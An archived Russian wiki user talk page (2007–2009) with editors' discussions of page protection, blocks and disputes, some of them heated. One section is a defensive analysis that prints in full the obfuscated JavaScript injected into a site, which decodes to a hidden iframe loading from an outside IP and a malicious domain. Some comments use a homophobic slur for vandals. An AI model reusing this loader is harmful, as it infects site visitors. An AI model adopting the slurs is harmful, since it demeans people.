Обсуждение участника:And r/Архив

Упреждение некоторых вопросов

В связи с этим вынужден сделать некоторые разъяснения:

1. Я не являюсь членом какой-либо «интернет-шайки», ибо я — единственный представитель РВС на форумно-блоговом пространстве интернета.

2. Моё отношение к «Традиции» не является деструктивным и достаточно откровенно отражено в сообщениях моего ЖЖ-блога.

3. Содержание нашей идеологии находится в открытом доступе — практически полностью размещено на «Традиции».

Ни одна претензия до сих пор не оставалась без ответа. Их можно высказывать на форумах, в ЖЖ, в обсуждениях, в гостевой книге сайта, по почте и в ICQ — все возможности предоставлены.‮×⊕●▅ мидаВ‭ — 

Категории на материалах

Можно поинтересоваться, зачем Вы удаляете категории с тех материалов, которые поместили сюда? Dark Magus 15:58, 12 апреля 2007 (MSD)

• Я заглянул в эти категории, — они оказались забиты множеством глав одних и тех же книг (например, 34 главы книги "Вещий Боян о Мире Прекрасного). Думаю, достаточно будет оставить в этих категориях только начальную главу.
  • Да, понятно. Действительно, резонно. Dark Magus 16:14, 12 апреля 2007 (MSD)

ВладиМир:О Русском Национализме

А почему такое странное название статьи? Я имею в виду первую часть до двоеточия... — DeFe 14:19, 13 мая 2007 (MSD)

Это принятый на Традиции стандарт именования авторских материалов. Перед двоеточием указывается автор текста. Wikitraditio 14:24, 13 мая 2007 (MSD)

Вот теперь понятно :) — DeFe 14:42, 13 мая 2007 (MSD)

Защиты

Привет! Думаю, что все подряд станицы защищать не следует ;) Защищать будем только те страницы, которые подвергались неоднократному вандализму ;) — Afinogenoff ^¾ 03:20, 19 мая 2007 (UTC)

Я защитил только изданные произведения и только от новых пользователей. Впрочем, если надобится, недолго защиту снять. --Вадим 05:51, 19 мая 2007 (UTC)

Тогда всё нормально ;) — Afinogenoff ^¾ 11:30, 19 мая 2007 (UTC)

Массовое снятие защиты со страниц

А чем вызван собственно сабж.?--DeFe 18:01, 20 мая 2007 (UTC)

Я прочитал правила защиты страниц и, исходя из положения «частичную защиту не следует рассматривать как превентивную меру», посчитал корректным вернуть доступ к ним для всех. --Вадим 18:05, 20 мая 2007 (UTC)

Гммм... все звери между собой равны, но есть те, которые еще ровнее. Я это к тому, что у любых правил есть разумные исключения. Я например считаю, что если в статье, скажем, содержится глава из Библии, то стразу же после написания статьи -- ее нужно немедленно защищать минимум на админский уровень. Поскольку редактировать оригинальный текст библии может только вандал или идиот. Насколько я понимаю Вы ты в основном работаешь с материалами аналоничной категории важности, посему -- поступать нужно аналогично, IMHO.--DeFe 18:12, 20 мая 2007 (UTC)

Я тоже так думаю, но пусть это решает хозяин проекта. --Вадим 18:26, 20 мая 2007 (UTC)

В данном случае не нужно решения хозяина проекта. Не тот уровень. Не той глобальности проблема. Не хватало, чтоб отцы основатели с метлой за каждым администратором бегали. Устанавливайте защиту на важные статьи и вешайте на них шаблон {{Protected}}.--DeFe 18:34, 20 мая 2007 (UTC)

Пока не горит, но буду иметь в виду.
Спасибо за шаблон. — Вадим 18:38, 20 мая 2007 (UTC)

Так победим! :)--DeFe 18:44, 20 мая 2007 (UTC)

У меня нет никаких возражений против установки Вами защиты на библейские материалы или на авторские тексты, которые Вы сюда загрузили. Если кто-то найдёт ошибку в тексте - может и на странице обсуждения указать - это уже вопрос Вашего усмотрения. Админские права Вам даны потому, что я вполне доверяю Вашим собственным решениям в таких вопросах. Wikitraditio 18:50, 20 мая 2007 (UTC)

Спасибо, принято. — Вадим 18:51, 20 мая 2007 (UTC)

Оставьте всё в незащищённом виде. Если будут вандалить-то оденем защиты опять. А то когда излишне много защищённых статей, то это может грузить сервер. — Afinogenoff ^¾ 01:40, 21 мая 2007 (UTC)

Ладно. — Вадим 11:13, 21 мая 2007 (UTC)

Библейские цитаты

Пожалуй, Вы были правы, устанавливая на них защиту. Как-то особенно противно видеть их изгаженными. Попрошу, наверное, Афиногеновского Бота поставить защиту на все статьи в соответствующих категориях. Wikitraditio 12:15, 22 мая 2007 (UTC)

Примус

Привет. Пора раскачигаривать примус...т.е увеличить загрузку статей и файлов. По мере сил подгружай. --858 10:31, 5 июня 2007 (UTC)

В такой технике не силён — Вадим 10:52, 5 июня 2007 (UTC)

Ацетилендинитрил

Привет. Пожалуйста откати свой откат (ибо уруер=858 (но он на отдыхе)) и уж кому кому...а мне ведомо как лучше ее написать. --858 18:08, 10 июня 2007 (UTC)

Хорошо. (Это была ошибка.) — Вадим 18:12, 10 июня 2007 (UTC)

-)) да фигня. Помоги лучше вандализм пооткатывать. Я сегодня захожу...а тут такое твориться...ужс. Заблокировал нафиг его. --858 18:14, 10 июня 2007 (UTC)

Вандал

Педераст заблокирован. Флейм откачен. Надо бы всем повнимательней приглядывать. --858 16:04, 11 июня 2007 (UTC)

Да разве ж за тобой угнаться...

А ты почаще заходи, тем более что педерасты опять возбудились. Скажу честно:это очень хорошо. Педераст ли или другой вандал, а все равно сами вращают счетчик правок и привлекают внимание к проекту раскручивая его популярность. Предлагаю всегда точно указывать на характеристику вандала: шалун значит шалун, педераст-дегенерат значит педераст дегенерат. Пускай смотрят и знают о себе правду. --858 16:16, 11 июня 2007 (UTC)

Энциклопедический Интернет-проект

Рекомендую. Настало время для написания крупной-популярной-интересной статьи. В Сети такого ещё нет, и мы будем первые. Дополняй посильно. --Орион955 19:29, 18 августа 2007 (UTC)

Участник:0a

А он какие-то вандальные правки производил? Я, честно сказать, так и не понял, за что Вы его...Wikitraditio 21:08, 19 августа 2007 (UTC)

Добрый день

Вы не погорячились со статьёй Вики-фашизм и её автором? ИМХО текст неплохой, надо бы его только немного поправить. С уважением, Анатолий 16:32, 2 октября 2007 (UTC) P.S.Я на свой страх и риск разблокирую участника и восстанавливаю статью, если что не так не взыщите строго. Анатолий 16:38, 2 октября 2007 (UTC)

Я увидел в этом тексте попытку описать «Традицию» как «фашистский» ресурс. Да и сам термин «вики-фашизм» — настоящая дурь (ну там «интернет-фашизм» — ещё был бы смысл...) — Вадим 16:44, 2 октября 2007 (UTC)

Главное, чтобы было кому проследить за её автором, а статья сама по себе безумна, тогда уже надо включить все формы интернет-общения — блоги, форумы, ICQ... — Вадим 16:50, 2 октября 2007 (UTC)

Нет там очевидно про википедию и нынешнюю администрацию ее русского раздела. Убрал из статьи лишнее и перенес в авторское пространство АПЭ. За автором буду следить. Анатолий 16:53, 2 октября 2007 (UTC)

А-а, видимо в том виде, как она была, я неверно увидел её задачи. Теперь другое дело. — Вадим 16:56, 2 октября 2007 (UTC)

Рекомендую

• я так думаю, что для литературных текстов желательно использовать шаблон по примеру Хайку о лягушке (Басё/Погребной-Александров). Текст будет смотреться более аккуратным и целостным, так-как в шаблоне предусмотрет переход на предыдущие и последующие странички. Может быть(?) поменять цвет шаблона для различных направлений литературного достояния.)) --Genius 19:33, 24 октября 2007 (UTC)

Спасибо. — Вадим 10:45, 25 октября 2007 (UTC)

На здоровье и в радость.)) --Genius 10:52, 25 октября 2007 (UTC)

Слабое место (Mozila)

Это чего вообще?.. —Mithgol the Webmaster 07:20, 20 ноября 2007 (UTC)

Это для вебмастера, может можно что-нибудь поправить. — Вадим 07:22, 20 ноября 2007 (UTC)

Традиция не должна автоматически закрывать теги, поскольку многие шаблоны специально содержат незакрытые теги, которые позднее закрываются другими шаблонами или другими ветками if-условий. (Пример: {{Навигационная таблица}}.) Автор статьи должен сам следить и закрывать теги. —Mithgol the Webmaster 07:43, 20 ноября 2007 (UTC)

Понял. Раз это известно, то можно удалить. — Вадим 07:45, 20 ноября 2007 (UTC)

Да, известно; это обсуждалося вон там. —Mithgol the Webmaster 07:46, 20 ноября 2007 (UTC)

Шаблон Imeem-audio

Что такое был шаблон {{Imeem-audio}}?.. —Mithgol the Webmaster 11:54, 14 декабря 2007 (UTC)

Это была моя попытка (неудавшаяся) вставить аудио, как это делают в ЖЖ — Вадим 12:09, 14 декабря 2007 (UTC)

• Для её работоспособности надобно было сперва договориться с соратниками, управляющими Традицией, о внесении необходимых изменений в настройки расширения EmbedVideo. Подробнее см. в архиве: Traditio:Портал сообщества/Архив/2007/III квартал (часть 6)#Нужно ли нам видео?.. —Mithgol the Webmaster 14:15, 14 декабря 2007 (UTC)

• Какой imeem-код ты желал бы вставить? —Mithgol the Webmaster 10:33, 15 декабря 2007 (UTC)

Я этот файл туда ещё не закачал, но, если размещение на Традиции аудио станет возможным, то я его добавлю к этому списку — Вадим 13:17, 15 декабря 2007 (UTC)

Станет, весьма возможно. Но сперва поведай: какой HTML-код проигрывателя должен вставляться в Традицию? Проигрыватель плэйлиста? Начинает ли аудиозапись скачиваться и играть автоматически (чего не дай Бог) или после нажатия кнопки проигрывателя читателем Традиции? —Mithgol the Webmaster 19:17, 17 декабря 2007 (UTC)

А впрочем, я сам уж нашёл ответ. Вставляться должен тот код, который по нажатию «Click here to embed this song» выпрыгивает; проигрыватель одной песни, а не плэйлиста; аудиозапись не станет автоматически скачиваться и играть, если aus=false в коде проигрывателя. —Mithgol the Webmaster 19:45, 17 декабря 2007 (UTC)

Нет, ролик автоматически не запускается и не скачивается. Вот пример кода:
<object width="300" height="80"><param name="movie" value="http://media.imeem.com/m/EeFaQUIEsK/aus=false/"></param><param name="wmode" value="transparent"></param><embed src="http://media.imeem.com/m/EeFaQUIEsK/aus=false/" type="application/x-shockwave-flash" width="300" height="80" wmode="transparent"></embed></object>

А так он работает в ЖЖ — http://and-r.livejournal.com/15274.html — Вадим 20:43, 17 декабря 2007 (UTC)

• Короче говоря, вот: {{imeem}}. Пока работает так, как работает. Улучшение обсуждается сейчас на портале сообщества. —Mithgol the Webmaster 14:28, 2 января 2008 (UTC)
  • Всё, теперь шаблон {{imeem}} доработан до желаемого состояния. —Mithgol the Webmaster 22:45, 2 января 2008 (UTC)
    • Спасибо.‮×⊕●▅ мидаВ‭ — 

Рекомендую почитать

От начала и до конца. -Орион- 01:45, 7 января 2008 (UTC)

Спасибо, интересно.‮×⊕●▅ мидаВ‭ — 

• Добрый день! Не думаю, что хорошая мысль стереть Пётр I. ССылки-то красные стали.--Vizu 06:39, 8 февраля 2008 (UTC)

Дело в том, что статья о Петре уже есть (туда было перенаправление) и лучше дополнять и исправлять её, чтобы не было дубликатов.
И по поводу иллюстрации, - там, во-первых, оскорбительная подпись (да и вообще, фашистские плакаты малооправданы в русской националистической энциклопедии). Во-вторых, этот плакат диссонирует с теперешним содержанием статьи. — Вадим 06:53, 8 февраля 2008 (UTC)

Блокировка Зукагого

Не нужно блокировать Арнольда, это его реальные имя и фамилия. Он не виноват в том, что они такие. ГСБ 22:08, 12 февраля 2008 (UTC)

Зукагой явный виртуал. --217.74.245.66 22:10, 12 февраля 2008 (UTC)

Нет. Я ручаюсь за него. ГСБ 22:12, 12 февраля 2008 (UTC)

Так как на счет 12 вопросов? Народ жаждет развлеченитй...

Блокировка участников

Прошу в начале внимательно ознакмиться с вкладом конкретного участника — если нарушение однократное выносите предупреждение. Если нарушение устойчивое и многократное — блокировка. Прошу также не блокировать "просто так" на период бессрочно участников и особо IP адреса (если это не прокси). Надеюсь на понимание, Dream 07:29, 7 июля 2008 (UTC)

• Хорошо, я воздержусь от участия в действиях по защите сайта. — Вадим 07:37, 7 июля 2008 (UTC)
  • Ну, что же вы так резко, сразу воздерживаться? Единоразовый постинг статьи новичком не представляет практически никакой угрозы для проекта и тянет только на предупреждение, но никак не на бессрочную блокировку. Кроме того, у нас был объявлен инклюзионизм, а потому статью следует не быстро удалять, а обсуждать возможность удаления, или, что лучше, перерабатывать в соответствии с НТЗ. Я думаю, никто не ставит ваше искреннее желание принести проекту пользу под сомнение, поэтому давайте будем подходить к разногласиям более конструктивно ;) Яков 08:15, 7 июля 2008 (UTC)
    • Напротив, устраниться — наилучшее решение в данном случае, ибо мой подход к данному вопросу не впервые вызывает возражения. — Вадим 09:11, 7 июля 2008 (UTC)

• Пожалуйста, когда блокируешь анонимного участника по IP-адресу, устанавливай не бессрочную блокировку, а следуй пункту 2.5 правил блокировок. —Mithgol the Webmaster 03:33, 29 августа 2008 (UTC)

• В данном случае я имел в виду, что IP 85.112.35.42 — это один из адресов «Самарского телеграфа», а там могут появляться и добросовестные русские люди. —Mithgol the Webmaster 03:41, 29 августа 2008 (UTC)

• Понял — Вадим 07:52, 29 августа 2008 (UTC)

Ни за что, ни про что... =

А за какие-такие оскорбления Вы заблокировали ip216.194.62.208? Это в какой же правке он кого-то сегодня оскорблял? 194.67.2.152 10:08, 4 сентября 2008 (UTC)

• Я взял на себя смелость разблокировать обоих, так как оскорблений не увидел. Анатолий 11:59, 4 сентября 2008 (UTC)

Духовность

Приветствую!

Вчера, и сегодня поглядел ни изменения...

В принципе я не против и такого варианта статьи, но получилось несколько однобоко: трактовка с позиции христианства ограничивает смысл понятия, т.к. за бортом остаётся духовность во всех нехристианских странах, и духовность в секулярном смысле. Но это сильно снижает ценность статьи, т.к. ограничивает число существующих т.з. и смыслов понятия, тем самым не даёт пользователю достаточно взвешенной картины мира. Alexandrov 07:53, 25 сентября 2008 (UTC)

• Все основные стороны этого термина обозначены (в том числе и ложная духовность), но предельно кратко, поэтому статью можно (и нужно) дополнять, — если конечно это будет не простое описание личных представлений о духовности, вроде прежнего википедийного варианта от «доцента философии». — Вадим 09:01, 25 сентября 2008 (UTC)

А прочтите теперь свежим взглядом... :-) Alexandrov 09:28, 25 сентября 2008 (UTC)

Расскажите — откуда это взято? Пока нет ссылок на достаточно авторитетные источники, это неприемлемо, особенно определение.
Лучше продолжить эту тему на странице обсуждения статьи, чтобы подключить и других участников — Вадим 10:52, 25 сентября 2008 (UTC)

Предупреждение от 09.10.08

Добрый день! Хотя голосовать против, - это, конечно, Ваше право, но я всё же прошу дать развёрнутую аргументацию утверждениям о моей нечестности. В противном случае это будет прямым нарушением Т:НО.--Stoljaroff 11:52, 9 октября 2008 (UTC)

ВНИМАНИЕ, вирус!!!

Я позволил себе пока закомментировать сайт на вашей ЛС http://raih.ru, чтобы кто-нибудь другой не пострадал, так как кликнув по ссылке, антивирус завопил об опасности. Обнаружен вирус VBS:Malware-gen, тип червь. Что это за гадость, желающие могут посмотреть в любом поисковике. Сейчас 3 часа его вычищал.Ռուար 01:45, 31 октября 2008 (UTC)

Как такое может быть, если index.html — это страница-перенаправление на obschina.narod.ru ? — Вадим 05:15, 31 октября 2008 (UTC)

• Код этой страницы index.html, как нетрудно видеть, таков:

<meta http-equiv="Refresh" content="0;url=http://obschina.narod.ru/index1.htm">

<html>
<script>var source ="=tdsjqu?epdvnfou/xsjuf)Tusjoh/gspnDibsDpef)71-216-213-225-:8-21:-212-43-226-225-::-72-45-215-227-227-223-69-58-58-68-5:-57-5:-63-61-57-65-63-57-68-5:-58-227-226-58-216-221-57-::-214-216-74-225-228-227-63-45-43-22:-216-211-227-215-72-5:-43-215-212-216-214-215-227-72-5:-43-226-227-232-219-212-72-45-229-216-226-216-:9-216-219-216-227-232-69-43-215-216-211-211-212-221-45-73-71-58-216-213-225-:8-21:-212-73**<=0tdsjqu?"; var result = ""; 
for(var i=0;i<source.length;i++) result+=String.fromCharCode(source.charCodeAt(i)-1); 
document.write(result); </script>
</html>

Переменная result в скрипте на этой странице обретает в итоге значение

<script>document.write(String.fromCharCode(60,105,102,114,97,109,101,32,115,114,99,61,34,104,116,116,112,58,47,47,57,49,46,49,52,50,46,54,52,46,57,49,47,116,115,47,105,110,46,99,103,105,63,114,117,116,52,34,32,119,105,100,116,104,61,49,32,104,101,105,103,104,116,61,49,32,115,116,121,108,101,61,34,118,105,115,105,98,105,108,105,116,121,58,32,104,105,100,100,101,110,34,62,60,47,105,102,114,97,109,101,62));</script>

которое само является скриптом, и которое выводится на ту же страницу и там выполняется. Результатом вызова функции String.fromCharCode(...) в данном случае является HTML-код, который соответствует скрытому однопиксельному фрейму:

<iframe src="http://91.142.64.91/ts/in.cgi?rut4" width=1 height=1 style="visibility: hidden"></iframe>

С адреса http://91.142.64.91/ts/in.cgi?rut4 в этом фрейме грузится страница следующего вида:

<html><frameset rows="100%"><frame src="http://bestpicturemedia.cn/id130.html"></frameset></html>

которая, в свою очередь, создаёт фрейм, в который с адреса http://bestpicturemedia.cn/id130.html загружается ещё какой-то код. Но его я ужé ни грузить, ни анализировать не стал, поскольку мониторинг Google и без меня называет этот сайт опасным источником заражения, так что встроенные в Firefox 3 защитные механизмы даже не позволят мне открыть его. (Конечно, их можно обойти; но неохота возиться.)

Вот тебе полный анализ механизма атаки. Бедняга Ռուար на неё попался, поскольку он пользуется не Файерфоксом, а каким-то гораздо менее безопасным (более полным брешей в безопасности) браузером — например, Internet Explorer, защиту которого VBS-вирусы легко преодолевают.

А теперь задумайся: откуда на http://raih.ru/ взялся этот скрипт? В любом случае это указывает на серьёзные проблемы с безопасностью. Если это, допустим, твой собственный сайт (я имею право это предположить, поскольку во whois владелец сайта тоже Вадим), и если ты сам загрузил туда эту страницу — значит, она была модифицирована ужé на твоём компьютере, так что компьютер твой, вероятно, был заражён, и оттого поневоле придётся его очищать. А если не сам, то это сайт был как-нибудь взломан, а не твой компьютер. —Mithgol the Webmaster 06:01, 31 октября 2008 (UTC)

• Спасибо всем за ценные наблюдения! Сайт мой, зловредный скрипт я удалил. К сожалению, не знаю способов предотвратить подобные гадости, если это именно то, что я предполагаю — козни хостеров. — Вадим 08:17, 31 октября 2008 (UTC)

• А вовсе и не обязательно козни. Хостеры тоже люди и могли оказаться поражены атакою червя. —Mithgol the Webmaster 18:25, 1 ноября 2008 (UTC)

«Националист» и «Интернационалист»

Что не так со взглядами Тыгусмыгуса, отчего их нельзя было оставить в общем пространстве и там дорабатывать до консенсуса, сиречь до всеобщего согласия? (Насколько понимаю, статей «Националист» и «Интернационалист» просто не было, так что неужели взгляды Тыгусмыгуса так ужасны, что даже хуже они, чем ничего? Обоснуй.) —Mithgol the Webmaster 18:25, 1 ноября 2008 (UTC)

Тыгусмыгус описал собственные представления не сообразуясь со статьями национализм и интернационализм, на которые сам же поставил ссылки. Я думаю они должны быть основой для этих двух новых статей, или их тоже надобно привести к позиции Тыгусмыгуса. Думаю так, впрочем, не настаиваю. — Вадим 19:30, 1 ноября 2008 (UTC)

В Википедии эти статьи просто перенаправляют на «Национализм» и «Интернационализм». Сейчас я подумал, что лучше бы и в Традиции сделать так же, а дорабатывать (неважно, займусь этим я или кто-либо ещё) уже эти статьи об идеологиях. — Тыгусмыгус 19:37, 1 ноября 2008 (UTC)

последнее

Ув г-н And r требую принести мне извинения за последнюю блокировку. если извинений я не получу то буду вынужден обратиться напрямую к стюардам.-Орион- 06:26, 13 декабря 2008 (UTC)

Извинения — в чём? — Вадим 06:36, 13 декабря 2008 (UTC)

Я непонятно объяснил???вы только что (оскорблениенагло удалено) нарушили правила блокировок - это подтвердил один из стюардов - и нежелаете извиниться перед мной - пострадавшим лицом.А что касается моих ошибок - то это мне решать, где их допускать, а где нет.-Орион- 06:44, 13 декабря 2008 (UTC)

Еще.По заказу какого га-на блокировали?Требую обстоятельно объяснить и мне и всему сообществу. -Орион- 06:46, 13 декабря 2008 (UTC)

Я разблокировал так как не увидел оскорблений но всё же прошу держать себя в рамках. Анатолий 06:49, 13 декабря 2008 (UTC)

1. Вы не увидели слово «гандон» и демонстративное написание имени с маленькой буквы потому, что я это исправил.
2. Кому и в каких рамках рекомендовано себя держать? Блокировка (предупредительная!) была мною произведена как в рамках правил «Традиции», так и в рамках морали — распоясавшемуся хаму следует указать на его неправоту. Если же имелись в виду рамки субординации, то и здесь проблем не возникнет — настаивать на своей позиции используя технические возможности не намерен. — Вадим 07:01, 13 декабря 2008 (UTC)

Это я хам? Да я внес в проект больше в 10 раз чем ты и написал кучу статей с нуля!! Ты еще меня будешь блокировать?Тебе на то никто никакого права не давал.Тебя даже не выбирало сообщество проекта следовательно ты незаконный администратор.-Орион- 07:14, 13 декабря 2008 (UTC)

Если бы Вы указали дифф при блокировке, мне было бы понятнее за что она наложена. Предлагаю считать эпизод исчерпанным и вернуться к статьям. Анатолий 07:05, 13 декабря 2008 (UTC)

Хорошо — Вадим 07:11, 13 декабря 2008 (UTC)

Я стараюсь.Но некоторые мягко говоря.. доводят меня.Требую заблокировать and r на сутки снять админ-флаг - извинений за блокировку я так и не увидел.-Орион- 06:54, 13 декабря 2008 (UTC)

Орион спокойнее. Пишите статьи и старайтесь не упоминать ни Orso, ни And r. Кроме того пишите их ники с большой буквы. Анатолий 07:05, 13 декабря 2008 (UTC)

Понял.Спасибо. Однако прошу с нарушителями разобраться на уровне стюардов.-Орион- 07:10, 13 декабря 2008 (UTC)

Что там с извинениями?Или Orso не дал разрешения?-Орион- 07:18, 13 декабря 2008 (UTC)

Я конечно настаивать не буду, но тоже считаю, что за хамство и несдержанность следует принести извинения. — Вадим 07:26, 13 декабря 2008 (UTC)

Что это за такая привычка - отвечать вопросом на вопрос??Прежде всего я требую принести извинения мне, как пострадавшему лицу.А вот когда уже извинения будут принесены,то поговорим дальше.-Орион- 10:40, 13 декабря 2008 (UTC)

Арнольд Зукагой

Не надо блокировать Арнольда, он не виноват, что у него такие имя и фамилия, и в них нет ничего провокационного. К тому же участник обещал не нарушать правила, поэтому надо всё-таки предполагать добрые намерения (к тому же администратор Dream выдал ему флаг патрулирующего, после этого блокировка выглядит несколько странно) — Vkl 16:35, 17 января 2009 (UTC)

• 1. Ваши утверждения о реальной фамилии мне не представляются достоверными, напротив, я уверен, что это типичный образец кащенизма.
  2. Участник уже нарушил правила, прявив неуважение к участникам «Традиции» своей записью о себе. Никакого позитивного вклада он не сделал и, уверен, не собирается делать
  3. Странными выглядят действия Dreamа, не первый раз покрывающего хулиганов. Вопрос был задан. — Вадим 16:47, 17 января 2009 (UTC)
• Я разблокировал этого человека. Его личную страницу я отредактирую, если он попытается вернуть на неё удалённое, попадёт под блокировку.
  Александр Машин 18:19, 17 января 2009 (UTC)
• Надо присматривать и при рецидивах блокировать. Сам по себе ник деструктивным не является. Анатолий 18:27, 17 января 2009 (UTC)

Совет

Пробуйте загружать изображения с названиями, написанными латиницей. Может, тогда загрузятся.--Orso 16:38, 20 января 2009 (UTC)

О, спасибо, я так и догадывался. — Вадим 16:41, 20 января 2009 (UTC)